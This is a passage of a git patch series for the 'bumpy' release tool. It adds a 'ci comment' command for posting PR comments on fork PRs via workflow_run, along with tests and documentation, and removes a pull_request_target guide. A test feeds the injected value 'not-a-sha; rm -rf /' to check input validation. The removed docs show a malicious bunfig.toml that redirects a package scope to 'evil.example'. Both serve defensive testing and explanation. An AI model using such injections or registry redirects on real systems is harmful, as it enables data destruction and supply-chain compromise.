+  mkdirSync(dir, { recursive: true });
+  writeFileSync(resolve(dir, COMMENT_ARTIFACT_FILE), body, 'utf-8');
 }
 
 /**
@@ -94,6 +115,10 @@ interface CheckOptions {
  * Designed for PR workflows — shows what would be released and optionally comments on the PR.
  */
 export async function ciCheckCommand(rootDir: string, opts: CheckOptions): Promise<void> {
+  // Seed an empty artifact first so it always exists for the workflow_run poster,
+  // regardless of which branch below we return from.
+  if (opts.emitComment) initCommentArtifact(opts.emitComment);
+
   const config = await loadConfig(rootDir);
   const { packages } = await discoverWorkspace(rootDir, config);
   const depGraph = new DependencyGraph(packages);
@@ -149,13 +174,11 @@ export async function ciCheckCommand(rootDir: string, opts: CheckOptions): Promi
     // An empty bump file signals intentionally no releases needed
     if (emptyBumpFileIds.length > 0 && parseErrors.length === 0) {
       log.success('Empty bump file found — no releases needed.');
-      if (shouldComment && prNumber) {
+      if (prNumber && (shouldComment || opts.emitComment)) {
         const prBranch = detectPrBranch(rootDir);
-        await postOrUpdatePrComment(
-          prNumber,
-          formatEmptyBumpFileComment(emptyBumpFileIds, prNumber, prBranch),
-          rootDir,
-        );
+        const body = formatEmptyBumpFileComment(emptyBumpFileIds, prNumber, prBranch);
+        if (opts.emitComment) writeCommentArtifact(opts.emitComment, body);
+        if (shouldComment) await postOrUpdatePrComment(prNumber, body, rootDir);
       }
       return;
     }
@@ -179,15 +202,14 @@ export async function ciCheckCommand(rootDir: string, opts: CheckOptions): Promi
       log.dim('Run `bumpy add` to declare a release, or `bumpy add --empty` to acknowledge that no release is needed.');
     }
 
-    if (shouldComment && prNumber) {
+    if (prNumber && (shouldComment || opts.emitComment)) {
       const prBranch = detectPrBranch(rootDir);
-      await postOrUpdatePrComment(
-        prNumber,
+      const body =
         parseErrors.length > 0
           ? formatBumpFileErrorsComment(parseErrors, prBranch, pm)
-          : formatNoBumpFilesComment(prBranch, pm, willFail, changedPackages),
-        rootDir,
-      );
+          : formatNoBumpFilesComment(prBranch, pm, willFail, changedPackages);
+      if (opts.emitComment) writeCommentArtifact(opts.emitComment, body);
+      if (shouldComment) await postOrUpdatePrComment(prNumber, body, rootDir);
     }
 
     if (willFail) process.exit(1);
@@ -221,7 +243,7 @@ export async function ciCheckCommand(rootDir: string, opts: CheckOptions): Promi
   }
 
   // Comment on PR
-  if (shouldComment && prNumber) {
+  if (prNumber && (shouldComment || opts.emitComment)) {
     const prBranch = detectPrBranch(rootDir);
     const comment = formatReleasePlanComment(
       plan,
@@ -235,7 +257,8 @@ export async function ciCheckCommand(rootDir: string, opts: CheckOptions): Promi
       prChannel,
       channels,
     );
-    await postOrUpdatePrComment(prNumber, comment, rootDir);
+    if (opts.emitComment) writeCommentArtifact(opts.emitComment, comment);
+    if (shouldComment) await postOrUpdatePrComment(prNumber, comment, rootDir);
   }
 
   // Fail if there were parse errors (even if some files parsed successfully)
@@ -261,6 +284,86 @@ export async function ciCheckCommand(rootDir: string, opts: CheckOptions): Promi
   }
 }
 
+// ---- ci comment ----
+
+interface CommentOptions {
+  bodyFile?: string; // path to the rendered comment body (from `ci check --emit-comment`)
+  pr?: string; // explicit PR number override (otherwise resolved from the event)
+}
+
+/**
+ * Post a pre-rendered comment to a PR. This is the privileged half of the split
+ * fork-comment setup: the unprivileged `pull_request` run produces the body as an
+ * artifact (`ci check --emit-comment`), and this `workflow_run` run posts it.
+ *
+ * SECURITY: the body file is UNTRUSTED. The run that produced it executed fork code,
+ * so its contents (and anything else it wrote) are attacker-controlled. We use the
+ * body only as comment text, and resolve the target PR from the TRUSTED `workflow_run`
+ * event (`head_sha`) — NEVER from the artifact. Otherwise a fork could redirect the
+ * repo's comment onto an arbitrary PR or issue.
+ */
+export async function ciCommentCommand(rootDir: string, opts: CommentOptions): Promise<void> {
+  if (!opts.bodyFile) {
+    log.error('`bumpy ci comment` requires --body-file <path>.');
+    process.exit(1);
+  }
+
+  // Let gh resolve the repo without a checkout (the poster workflow may not check
+  // anything out). GITHUB_REPOSITORY is set by Actions and is trusted.
+  if (!process.env.GH_REPO && process.env.GITHUB_REPOSITORY) {
+    process.env.GH_REPO = process.env.GITHUB_REPOSITORY;
+  }
+
+  let body: string;
+  try {
+    body = readFileSync(resolve(opts.bodyFile), 'utf-8');
+  } catch {
+    // No body file — normal when the PR had no bump-file changes (empty artifact). No-op.
+    log.dim(`  No comment body at ${opts.bodyFile} — nothing to post.`);
+    return;
+  }
+  if (!body.trim()) {
+    log.dim('  Empty comment body — nothing to post.');
+    return;
+  }
+
+  const prNumber = opts.pr ? validatePrNumber(opts.pr) : resolveTargetPrNumber(rootDir);
+  if (!prNumber) {
+    log.error('Could not resolve a target PR. Pass --pr <number> explicitly.');
+    process.exit(1);
+  }
+
+  await postOrUpdatePrComment(prNumber, body, rootDir);
+}
+
+/**
+ * Resolve which PR to comment on. Under `workflow_run`, derive it from the TRUSTED
+ * event `head_sha` (never from the downloaded artifact). Otherwise fall back to the
+ * normal PR detection used by `ci check`.
+ */
+export function resolveTargetPrNumber(rootDir: string): string | null {
+  if (process.env.GITHUB_EVENT_NAME === 'workflow_run') {
+    const event = readGitHubEventPayload();
+    const headSha = event?.workflow_run?.head_sha;
+    const repo = process.env.GITHUB_REPOSITORY;
+    // Sanitize both before they reach the gh api path: a 40-hex SHA and an owner/repo slug.
+    if (headSha && /^[0-9a-f]{40}$/i.test(headSha) && repo && /^[\w.-]+\/[\w.-]+$/.test(repo)) {
+      const out = tryRunArgs(
+        ['gh', 'api', `repos/${repo}/commits/${headSha}/pulls`, '--jq', '.[] | select(.state == "open") | .number'],
+        { cwd: rootDir },
+      );
+      return (
+        out
+          ?.split('\n')
+          .map((l) => l.trim())
+          .find((l) => /^\d+$/.test(l)) ?? null
+      );
+    }
+    return null;
+  }
+  return detectPrNumber();
+}
+
 // ---- ci plan ----
 
 /** Path (relative to rootDir) where ci plan caches its output for ci release to reuse */
@@ -1604,6 +1707,10 @@ interface GitHubEventPayload {
     head?: { repo?: { id?: number } };
     base?: { repo?: { id?: number } };
   };
+  // Present on `workflow_run` events — the trusted SHA of the run that triggered us.
+  workflow_run?: {
+    head_sha?: string;
+  };
 }
 
 function readGitHubEventPayload(): GitHubEventPayload | null {
diff --git a/packages/bumpy/test/core/ci-comment.test.ts b/packages/bumpy/test/core/ci-comment.test.ts
new file mode 100644
index 0000000..82f1a28
--- /dev/null
+++ b/packages/bumpy/test/core/ci-comment.test.ts
@@ -0,0 +1,127 @@
+import { test, expect, describe, beforeEach, afterEach } from 'bun:test';
+import { mkdtempSync, writeFileSync, rmSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { installShellMock, uninstallShellMock, addMockRule, getCallsMatching } from '../helpers-shell-mock.ts';
+import { resolveTargetPrNumber, ciCommentCommand } from '../../src/commands/ci.ts';
+
+// A realistic-looking 40-hex commit SHA.
+const HEAD_SHA = 'a1b2c3d4e5f60718293a4b5c6d7e8f9012345678';
+
+// Env keys this command/helper reads — snapshot and restore so tests don't leak.
+const ENV_KEYS = [
+  'GITHUB_EVENT_NAME',
+  'GITHUB_EVENT_PATH',
+  'GITHUB_REPOSITORY',
+  'GH_REPO',
+  'BUMPY_PR_NUMBER',
+  'PR_NUMBER',
+] as const;
+
+let tmp: string;
+let savedEnv: Record<string, string | undefined>;
+
+function writeEvent(payload: unknown): string {
+  const p = join(tmp, 'event.json');
+  writeFileSync(p, JSON.stringify(payload), 'utf-8');
+  return p;
+}
+
+beforeEach(() => {
+  tmp = mkdtempSync(join(tmpdir(), 'bumpy-ci-comment-'));
+  savedEnv = {};
+  for (const k of ENV_KEYS) {
+    savedEnv[k] = process.env[k];
+    delete process.env[k];
+  }
+  installShellMock();
+});
+
+afterEach(() => {
+  uninstallShellMock();
+  for (const k of ENV_KEYS) {
+    if (savedEnv[k] === undefined) delete process.env[k];
+    else process.env[k] = savedEnv[k];
+  }
+  rmSync(tmp, { recursive: true, force: true });
+});
+
+describe('resolveTargetPrNumber — workflow_run', () => {
+  test('derives the PR from the trusted event head_sha (not the artifact)', () => {
+    process.env.GITHUB_EVENT_NAME = 'workflow_run';
+    process.env.GITHUB_REPOSITORY = 'owner/repo';
+    process.env.GITHUB_EVENT_PATH = writeEvent({ workflow_run: { head_sha: HEAD_SHA } });
+    addMockRule({ match: /commits\/[0-9a-f]+\/pulls/, response: '42' });
+
+    const pr = resolveTargetPrNumber(tmp);
+
+    expect(pr).toBe('42');
+    // It must look up the PR by the event's head_sha — that's the trusted derivation.
+    const apiCalls = getCallsMatching(`commits/${HEAD_SHA}/pulls`);
+    expect(apiCalls).toHaveLength(1);
+  });
+
+  test('returns null when the event has no usable head_sha', () => {
+    process.env.GITHUB_EVENT_NAME = 'workflow_run';
+    process.env.GITHUB_REPOSITORY = 'owner/repo';
+    process.env.GITHUB_EVENT_PATH = writeEvent({ workflow_run: {} });
+    addMockRule({ match: /commits\/[0-9a-f]+\/pulls/, response: '42' });
+
+    expect(resolveTargetPrNumber(tmp)).toBeNull();
+    expect(getCallsMatching('/pulls')).toHaveLength(0);
+  });
+
+  test('rejects a malformed head_sha rather than passing it to the api', () => {
+    process.env.GITHUB_EVENT_NAME = 'workflow_run';
+    process.env.GITHUB_REPOSITORY = 'owner/repo';
+    process.env.GITHUB_EVENT_PATH = writeEvent({ workflow_run: { head_sha: 'not-a-sha; rm -rf /' } });
+
+    expect(resolveTargetPrNumber(tmp)).toBeNull();
+    expect(getCallsMatching('/pulls')).toHaveLength(0);
+  });
+});
+
+describe('resolveTargetPrNumber — other events', () => {
+  test('falls back to event PR detection (does not hit the commits/pulls lookup)', () => {
+    process.env.GITHUB_EVENT_NAME = 'pull_request';
+    process.env.GITHUB_EVENT_PATH = writeEvent({ pull_request: { number: 7 } });
+
+    expect(resolveTargetPrNumber(tmp)).toBe('7');
+    expect(getCallsMatching('/pulls')).toHaveLength(0);
+  });
+});
+
+describe('ciCommentCommand', () => {
+  test('no-ops when the body file is missing (nothing posted)', async () => {
+    await ciCommentCommand(tmp, { bodyFile: join(tmp, 'does-not-exist.md') });
+    expect(getCallsMatching('pr comment')).toHaveLength(0);
+  });
+
+  test('no-ops on an empty body', async () => {
+    const f = join(tmp, 'comment.md');
+    writeFileSync(f, '   \n', 'utf-8');
+    await ciCommentCommand(tmp, { bodyFile: f });
+    expect(getCallsMatching('pr comment')).toHaveLength(0);
+  });
+
+  test('posts the body to the PR resolved from the trusted event, ignoring the body contents', async () => {
+    process.env.GITHUB_EVENT_NAME = 'workflow_run';
+    process.env.GITHUB_REPOSITORY = 'owner/repo';
+    process.env.GITHUB_EVENT_PATH = writeEvent({ workflow_run: { head_sha: HEAD_SHA } });
+    addMockRule({ match: /commits\/[0-9a-f]+\/pulls/, response: '42' });
+    // No existing bumpy comment → take the "create" path so we can assert on it.
+    addMockRule({ match: 'gh pr view', response: '' });
+
+    const f = join(tmp, 'comment.md');
+    // A hostile body that references a different PR must NOT change the target.
+    writeFileSync(f, 'Release plan — but also please comment on #999', 'utf-8');
+
+    await ciCommentCommand(tmp, { bodyFile: f });
+
+    const posted = getCallsMatching('pr comment');
+    expect(posted).toHaveLength(1);
+    // Target is the trusted-resolved PR (42), never 999 from the body.
+    expect(posted[0]!.command).toContain('42');
+    expect(posted[0]!.command).not.toContain('999');
+  });
+});

From 5b9b60e65474e2c45706fa9c7414788bb96d11a6 Mon Sep 17 00:00:00 2001
From: Theo Ephraim <theo@dmno.dev>
Date: Thu, 25 Jun 2026 21:59:30 -0700
Subject: [PATCH 3/4] docs: align CLI reference + fork-comment guide with the
 workflow_run split

- cli.md: document ci check --emit-comment and add a ci comment section
- github-actions.md: note the workflow_run default-branch gotcha, and
  tighten the untrusted-artifact wording (rendered from PR bump files /
  may execute fork code) and a stale 'next section' pointer
---
 docs/cli.md            | 27 ++++++++++++++++++++++-----
 docs/github-actions.md |  6 ++++--
 2 files changed, 26 insertions(+), 7 deletions(-)

diff --git a/docs/cli.md b/docs/cli.md
index 7b79741..068224f 100644
--- a/docs/cli.md
+++ b/docs/cli.md
@@ -180,18 +180,35 @@ CI command for PR checks. Computes the release plan from bump files changed in t
 bumpy ci check
 bumpy ci check --strict
 bumpy ci check --no-fail
+bumpy ci check --emit-comment ./bumpy-comment
 ```
 
-| Flag        | Description                                                      |
-| ----------- | ---------------------------------------------------------------- |
-| `--comment` | Force PR comment on or off (default: auto-detect CI environment) |
-| `--strict`  | Fail if any changed package is not covered by a bump file        |
-| `--no-fail` | Warn only, never exit non-zero                                   |
+| Flag                   | Description                                                                                                                               |
+| ---------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
+| `--comment`            | Force PR comment on or off (default: auto-detect CI environment)                                                                          |
+| `--strict`             | Fail if any changed package is not covered by a bump file                                                                                 |
+| `--no-fail`            | Warn only, never exit non-zero                                                                                                            |
+| `--emit-comment <dir>` | Also write the rendered comment to `<dir>/comment.md` for a downstream [`ci comment`](#bumpy-ci-comment) to post (the fork-comment split) |
 
 Requires `GH_TOKEN` environment variable (automatically available in GitHub Actions).
 
 **On channel and promotion PRs:** for a PR targeting a [prerelease channel](prereleases.md) branch, the comment is channel-aware — it shows the prerelease plan (`-<preid>.x` versions) and the target dist-tag rather than implying a stable release. For a **promotion PR** (a channel branch → `main`, or a graduation like `alpha` → `beta`), the check reads the cycle's already-shipped bump files from `.bumpy/<channel>/` and shows the consolidated stable plan, calling out that merging ends the prerelease cycle. (Feature PRs that _target_ a channel branch are checked against that branch, so only the PR's own new bump files count — see [`--base`](#bumpy-check) on the local `check` command for the equivalent locally.)
 
+## `bumpy ci comment`
+
+Posts a pre-rendered comment (from `ci check --emit-comment`) to a PR. This is the privileged half of the [fork-comment split](github-actions.md#commenting-on-fork-prs): your `pull_request` check renders the comment as an artifact, and this command — run from a `workflow_run` job — posts it.
+
+```bash
+bumpy ci comment --body-file ./bumpy-comment/comment.md
+```
+
+| Flag                 | Description                                                        |
+| -------------------- | ------------------------------------------------------------------ |
+| `--body-file <path>` | Path to the rendered comment body (required)                       |
+| `--pr <number>`      | Target PR number (default: resolved from the `workflow_run` event) |
+
+It needs no checkout and no bumpy project — it only posts. Under `workflow_run` it resolves the target PR from the **trusted** event (`head_sha`), never from the artifact, and treats the body as untrusted text. A missing or empty body file is a no-op. Requires `GH_TOKEN`.
+
 ## `bumpy ci plan`
 
 CI command that reports what `ci release` would do, without acting. Outputs JSON to stdout and sets GitHub Actions step outputs so you can conditionally run expensive steps (builds, etc.) only when needed.
diff --git a/docs/github-actions.md b/docs/github-actions.md
index 7487d30..b775c38 100644
--- a/docs/github-actions.md
+++ b/docs/github-actions.md
@@ -26,7 +26,7 @@ These commands facilitate the following:
     GH_TOKEN: ${{ github.token }}
 ```
 
-Give the job `permissions: pull-requests: write`. This runs in the ordinary `pull_request` context — the same trust level as the rest of your CI — so none of the privileged-workflow precautions in the next section apply: you can `bun install` and run bumpy from your devDeps like any other CLI. (If the job already ran `bun install`, `bunx` picks up your pinned version from `node_modules`; otherwise it fetches the latest.)
+Give the job `permissions: pull-requests: write`. This runs in the ordinary `pull_request` context — the same trust level as the rest of your CI — so none of the privileged-workflow precautions below apply: you can `bun install` and run bumpy from your devDeps like any other CLI. (If the job already ran `bun install`, `bunx` picks up your pinned version from `node_modules`; otherwise it fetches the latest.)
 
 **Fork PRs get the check, but not the comment.** GitHub hands `pull_request` runs from forks a **read-only token and no secrets**, so the comment can't be posted there. `ci check` still runs and fails the job (red ✗) on a missing bump file, with the explanation in the job logs — forks stay gated correctly, you just don't get the rendered comment. For most repos that's the right trade. If you want the comment on fork PRs too, add the two-part setup below.
 
@@ -92,7 +92,9 @@ jobs:
 
 Point `workflows: [...]` at the **name** of whatever runs your check (your existing CI workflow, or a dedicated one). When it finishes, GitHub triggers this poster, which posts the rendered comment and exits. No bump-file changes → `ci comment` no-ops.
 
-> **The one safety rule.** The uploaded artifact is **untrusted** — it came from a run that executed fork code, so its contents are attacker-controlled. `bumpy ci comment` uses the body only as comment text and resolves the **target PR from the trusted `workflow_run` event** (`head_sha`), never from the artifact — that's what stops a fork from redirecting the comment onto a different PR or issue. Don't override it with a `--pr` derived from artifact data.
+> **Heads-up: it won't run until it's on your default branch.** `workflow_run` always uses the workflow file as it exists on the default branch, so the poster doesn't fire for the PR that _adds_ it — fork comments start working once `bumpy-comment.yaml` is merged to `main`. (Same-repo PRs are unaffected; they comment directly from the check.)
+
+> **The one safety rule.** The uploaded artifact is **untrusted** — it's produced by the unprivileged `pull_request` run from fork-controlled inputs (the comment is rendered from the PR's own bump files, and the run may execute fork code), so treat its contents as attacker-controlled. `bumpy ci comment` uses the body only as comment text and resolves the **target PR from the trusted `workflow_run` event** (`head_sha`), never from the artifact — that's what stops a fork from redirecting the comment onto a different PR or issue. Don't override it with a `--pr` derived from artifact data.
 
 > **Why can't the fork run post it itself?** A fork's `pull_request` token is read-only at issuance and enforced server-side — REST, GraphQL, `gh`, and raw `curl` all 403 on a comment write, and secrets aren't exposed either. The write has to originate from a privileged base-repo run, which is exactly what `workflow_run` provides.
 

From b956d86576e9745b55de565868326824c12fe25e Mon Sep 17 00:00:00 2001
From: Theo Ephraim <theo@dmno.dev>
Date: Thu, 25 Jun 2026 22:07:38 -0700
Subject: [PATCH 4/4] docs: drop pull_request_target recommendation; mark
 fork-comment setup optional
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

- github-actions.md: remove the entire 'Alternative: pull_request_target'
  subsection (workflow + security essentials + registry-redirect details +
  CodeQL notes). The pull_request + workflow_run split is now the only
  documented way to comment on fork PRs.
- Lead the fork-comment section with a bold 'this is optional — only for fork
  PR comments' callout; drop the now-stale 'precautions below' phrasing from
  the PR check section.
- cwd.ts: the legacy pull_request_target guardrail now steers users to the
  pull_request + workflow_run setup first, with --cwd kept as a stay-on-it
  escape hatch.
---
 docs/github-actions.md          | 125 +-------------------------------
 packages/bumpy/src/utils/cwd.ts |  25 ++++---
 2 files changed, 16 insertions(+), 134 deletions(-)

diff --git a/docs/github-actions.md b/docs/github-actions.md
index b775c38..a550c7f 100644
--- a/docs/github-actions.md
+++ b/docs/github-actions.md
@@ -26,18 +26,18 @@ These commands facilitate the following:
     GH_TOKEN: ${{ github.token }}
 ```
 
-Give the job `permissions: pull-requests: write`. This runs in the ordinary `pull_request` context — the same trust level as the rest of your CI — so none of the privileged-workflow precautions below apply: you can `bun install` and run bumpy from your devDeps like any other CLI. (If the job already ran `bun install`, `bunx` picks up your pinned version from `node_modules`; otherwise it fetches the latest.)
+Give the job `permissions: pull-requests: write`. This runs in the ordinary `pull_request` context — the same trust level as the rest of your CI — so there's nothing special to be careful about: you can `bun install` and run bumpy from your devDeps like any other CLI. (If the job already ran `bun install`, `bunx` picks up your pinned version from `node_modules`; otherwise it fetches the latest.)
 
 **Fork PRs get the check, but not the comment.** GitHub hands `pull_request` runs from forks a **read-only token and no secrets**, so the comment can't be posted there. `ci check` still runs and fails the job (red ✗) on a missing bump file, with the explanation in the job logs — forks stay gated correctly, you just don't get the rendered comment. For most repos that's the right trade. If you want the comment on fork PRs too, add the two-part setup below.
 
 ## Commenting on fork PRs
 
-A comment is a **write**, and GitHub never gives a `pull_request` run from a fork a write token (read-only at issuance, secrets withheld). So the comment has to be posted from a privileged run in the base-repo context. The safest way is a two-part split where the privileged half **never touches the fork's code or files**:
+**This is optional — set it up only if you want the release-plan comment to appear on PRs from forks.** The `ci check` above already runs on fork PRs and fails them red on a missing bump file; it just can't post the comment there, because GitHub gives a fork's `pull_request` run a read-only token (secrets withheld, writes blocked server-side). Posting requires a privileged run in the base-repo context, and the safe way to get one is a small extra workflow whose privileged half **never touches the fork's code or files**:
 
 1. Your existing `pull_request` check **renders** the comment and uploads it as an artifact.
 2. A small, separate `workflow_run` workflow downloads that artifact and **posts** it.
 
-The poster never checks out the PR, never runs a package manager against fork config, and never reads a fork file — it only posts pre-rendered text. Nothing to harden, no CodeQL alert to dismiss.
+The poster never checks out the PR, never runs a package manager against fork config, and never reads a fork file — it only posts pre-rendered text. (No forks to worry about? You don't need any of this.)
 
 ### 1. Render + upload (in your existing check)
 
@@ -98,125 +98,6 @@ Point `workflows: [...]` at the **name** of whatever runs your check (your exist
 
 > **Why can't the fork run post it itself?** A fork's `pull_request` token is read-only at issuance and enforced server-side — REST, GraphQL, `gh`, and raw `curl` all 403 on a comment write, and secrets aren't exposed either. The write has to originate from a privileged base-repo run, which is exactly what `workflow_run` provides.
 
-### Alternative: a single `pull_request_target` workflow
-
-If you'd rather have one file than two, a single privileged `pull_request_target` workflow can both read the PR and post the comment. It's more setup-sensitive — it checks out the (untrusted) PR head into a privileged job, so it must be carefully structured never to execute it, and it trips a CodeQL alert you have to dismiss. The `workflow_run` split above avoids all of that; prefer it unless one-file simplicity matters more to you. Copy it as-is (changing only `main` if your base branch differs), and keep the security notes intact.
-
-```yaml
-# .github/workflows/bumpy-check.yaml
-name: Bumpy Check
-
-on: pull_request_target # so it can post comments on fork PRs
-
-permissions:
-  pull-requests: write
-  contents: read
-
-jobs:
-  check:
-    runs-on: ubuntu-latest
-    steps:
-      # 1. TRUSTED checkout of the base branch — bumpy is fetched and run from
-      #    here, so the package-manager config in effect (bunfig.toml, .npmrc)
-      #    is YOURS, not the PR's. Hardcoded "main" (the PR controls its own
-      #    base ref); change it to your base branch.
-      - uses: actions/checkout@v7
-        with:
-          ref: main
-          persist-credentials: false
-
-      # 2. UNTRUSTED PR head into ./pr — only READ from here, never run it.
-      #    actions/checkout@v7 refuses to fetch fork PR code under
-      #    pull_request_target by default; `allow-unsafe-pr-checkout` opts back
-      #    in. It's safe HERE only because ./pr is never installed or run.
-      - uses: actions/checkout@v7
-        with:
-          ref: ${{ github.event.pull_request.head.sha }}
-          path: pr
-          persist-credentials: false
-          allow-unsafe-pr-checkout: true
-
-      - uses: oven-sh/setup-bun@v2
-
-      # ⚠️ DO NOT bun install / npm install / run any script from ./pr ⚠️
-
-      # Read bumpy's version from the TRUSTED base checkout (never from ./pr) and
-      # run it in one step. bunx runs from the trusted root; `--cwd ./pr` only
-      # points bumpy at the PR tree to read its bump files. The version is folded
-      # straight into the command (not written to $GITHUB_ENV) to avoid CodeQL's
-      # actions/envvar-injection sink; quote it so a malformed value can't inject.
-      - name: Bumpy release-plan check
-        run: |
-          VERSION=$(jq -r '.devDependencies["@varlock/bumpy"] // .dependencies["@varlock/bumpy"]' package.json | sed 's/[\^~]//')
-          bunx "@varlock/bumpy@$VERSION" ci check --cwd ./pr
-        env:
-          GH_TOKEN: ${{ github.token }}
-```
-
-#### ⚠️ Security essentials
-
-`pull_request_target` carries a **write token and secrets even on fork PRs** — that's what lets it comment on forks, and why a PR author must never be able to influence what runs. The workflow above handles this; three rules to preserve if you adapt it:
-
-- **Never execute PR code** — no `bun install` / `npm install` (postinstall scripts run), no `bun run <script>` / `npm test`, no building from the PR tree.
-- **Fetch and run bumpy from the trusted base checkout; only _read_ the PR tree** via `--cwd ./pr`. Keep `persist-credentials: false` on both checkouts.
-- **Keep `allow-unsafe-pr-checkout: true` on the `./pr` checkout only.** Since [June 2026](https://github.blog/changelog/2026-06-18-safer-pull_request_target-defaults-for-github-actions-checkout/), `actions/checkout` refuses to fetch fork PR code under `pull_request_target` unless you set this deliberately-conspicuous flag (enforced on `@v7` now, and backported to floating tags like `@v6` on July 16, 2026). It's correct here _because_ `./pr` is read-only data — never add it to a checkout whose code you then install or run.
-
-As a guardrail, `bumpy ci check` **fails** if it runs under `pull_request_target` without an explicit `--cwd` — so an outdated single-checkout workflow surfaces loudly instead of silently staying exploitable. If the working directory is genuinely trusted (e.g. a same-repo, non-fork PR), pass `--cwd .` to acknowledge it. (This is a migration nudge, not a security boundary: a PR that actually hijacked resolution would be running its own bumpy. The fix is the two-checkout layout above.)
-
-> **Using npm / pnpm / yarn?** The same pattern applies — run `npx` / `pnpm dlx` / `yarn dlx` from the trusted root and pass `--cwd ./pr` to bumpy, never the reverse. It matters even more there: pnpm and yarn honor committed config that runs code directly (pnpm's `.pnpmfile.cjs`, yarn's `yarnPath`/`plugins`), not just registry redirects — see the [Turborepo `yarnPath` RCE](https://github.com/vercel/turborepo/security/advisories/GHSA-3qcw-2rhx-2726) for the real-world version.
-
-<details>
-<summary><strong>Why two checkouts? The registry-redirect attack (worth reading before you restructure this)</strong></summary>
-
-The non-obvious risk isn't just running PR scripts — it's **how bumpy itself gets fetched**. Running `bunx @varlock/bumpy@<version>` reads package-manager config (`bunfig.toml`, `.npmrc`) **from the current working directory**. A fork PR can commit one that redirects the `@varlock` scope (or the whole registry) to its own server:
-
-```toml
-# bunfig.toml committed in a malicious PR
-[install.scopes]
-"@varlock" = { url = "https://evil.example/" }
-```
-
-If `bunx` runs with the PR checkout as its working directory, it downloads _the attacker's_ `@varlock/bumpy` — at the exact version you pinned — and executes its bin with your write token and secrets in scope. **Pinning the version is no defense; the version is honored, only the source is swapped.** Same for `npx`/`pnpm`/`yarn`.
-
-The two-checkout layout closes this by **separating where bumpy is fetched from what bumpy reads**:
-
-- bumpy is resolved and run from the **trusted base checkout**, so the `bunfig.toml`/`.npmrc` in effect are yours, not the PR's.
-- `--cwd ./pr` points the already-running bumpy process at the PR tree. The binary is already fetched by then — config in `./pr` is never consulted by a package manager. `bumpy ci check` only reads files and shells out to `git`/`gh`, so it's safe to aim at untrusted source.
-- `persist-credentials: false` keeps the workflow token out of the on-disk `.git/config` sitting next to untrusted code.
-
-**Don't use the single-checkout shortcut.** Checking out the PR head into the workspace root and running `bunx … --cwd .` reopens the hole — that puts the PR's `bunfig.toml`/`.npmrc` back in `bunx`'s working directory. The whole point is that `bunx`'s working directory is trusted.
-
-</details>
-
-<details>
-<summary>How the bumpy version stays in sync (and what to adjust for your setup)</summary>
-
-`jq … package.json` reads bumpy's version from the **base checkout** (`main`) at workflow runtime, so:
-
-- **No version pinned in the workflow file** — Renovate/Dependabot bumps to `package.json` flow through automatically.
-- **Fork PRs can't swap the bumpy version** — the source of truth is `main`, read from the trusted root checkout (never from `./pr`).
-
-Adjust if your setup differs:
-
-- Default branch isn't `main`? Change the `ref: main` in the first checkout to your base branch.
-- `@varlock/bumpy` lives somewhere other than root `package.json` (e.g. a sub-package)? Point the `jq` path at that file.
-
-You can also pin the version directly (`bunx @varlock/bumpy@1.2.3 ci check --cwd ./pr`), but we prefer a single source of truth.
-
-</details>
-
-#### Code scanning (CodeQL) alerts
-
-CodeQL's default setup runs GitHub's Actions security queries, so adopters of this workflow will see one alert worth understanding:
-
-- **`actions/untrusted-checkout/critical`** — **expected, and safe to dismiss as a false positive here.** CodeQL flags any PR-head checkout in a privileged workflow because it can't statically prove the code is never executed. This workflow never executes it: `bunx` runs from the **trusted root** checkout (its `bunfig.toml`/lockfile are yours), `ci check --cwd ./pr` only **reads** the PR's files, and nothing under `./pr` is installed, built, or run.
-
-The workflow above is already written to avoid the other relevant query, **`actions/envvar-injection/critical`** — it folds the resolved version straight into the `bunx` command rather than writing it to `$GITHUB_ENV`. (In a `pull_request_target` workflow CodeQL treats a file-derived value as attacker-controlled, and `$GITHUB_ENV` is a code-execution sink: an attacker-set value with newlines could inject e.g. `NODE_OPTIONS`.) If you adapt the workflow, don't reintroduce a `>> "$GITHUB_ENV"` write.
-
-> **Safety invariant.** The data-only guarantee rests on one rule: **`bumpy ci check` never executes code from its `--cwd` target.** It does not build, run lifecycle/postinstall scripts, or dynamically `import`/`require` any file under that path — it only parses them as data (`.bumpy/*.md`, `package.json`, JSON config). The current implementation upholds this: `ci check` reads JSON/YAML and shells out to `git`/`gh` only, and bumpy's two code-loading paths (custom changelog formatters, custom commit-message modules) are reachable exclusively from `bumpy version` / `bumpy publish` / `ci release`, never from `ci check`.
-
-> **Want zero alerts?** Use the [`workflow_run` split](#commenting-on-fork-prs) above instead — its privileged half never checks out PR code, so there's no `untrusted-checkout` alert and nothing to dismiss. This single-`pull_request_target` workflow is the one-file alternative, and the dismissal here is the cost of that simplicity.
-
 ## Release workflow (recommended: split jobs)
 
 The recommended release workflow splits version-PR maintenance from publishing into separate jobs. Only the publish job carries `id-token: write` and npm credentials, and it runs inside a GitHub Environment — so a rogue workflow elsewhere in the repo can't request an OIDC token that npm will accept.
diff --git a/packages/bumpy/src/utils/cwd.ts b/packages/bumpy/src/utils/cwd.ts
index b673b73..9127e04 100644
--- a/packages/bumpy/src/utils/cwd.ts
+++ b/packages/bumpy/src/utils/cwd.ts
@@ -53,10 +53,10 @@ const DOCS_URL = 'https://github.com/dmno-dev/bumpy/blob/main/docs/github-action
  *
  * This is a MIGRATION NUDGE, not a security control: a fork PR that successfully
  * redirected the registry would be running its own replacement bumpy, which has
- * no such guard. The value is in catching honest users still on the old
- * single-checkout workflow and pointing them at the two-checkout pattern before
- * a real attacker exploits it. Passing any `--cwd` (including `--cwd .` to
- * acknowledge an already-trusted directory) satisfies the check.
+ * no such guard. The value is in catching honest users still on a legacy
+ * pull_request_target check and steering them to the recommended pull_request +
+ * workflow_run setup. Passing any `--cwd` (including `--cwd .` to acknowledge an
+ * already-trusted directory) satisfies the check for those staying on it.
  */
 export function pullRequestTargetCwdError(opts: {
   eventName: string | undefined;
@@ -67,15 +67,16 @@ export function pullRequestTargetCwdError(opts: {
     '`bumpy ci check` is running under pull_request_target without --cwd.',
     '',
     'This is the unsafe configuration. pull_request_target grants a write token and',
-    'secrets, and the current directory is the (untrusted) PR checkout — so a fork',
-    "PR's bunfig.toml/.npmrc can redirect where bumpy itself is fetched from, at the",
-    'exact version you pinned.',
+    'secrets even on fork PRs, and the current directory is the (untrusted) PR',
+    "checkout — so a fork PR's bunfig.toml/.npmrc can redirect where bumpy itself is",
+    'fetched from, at the exact version you pinned.',
     '',
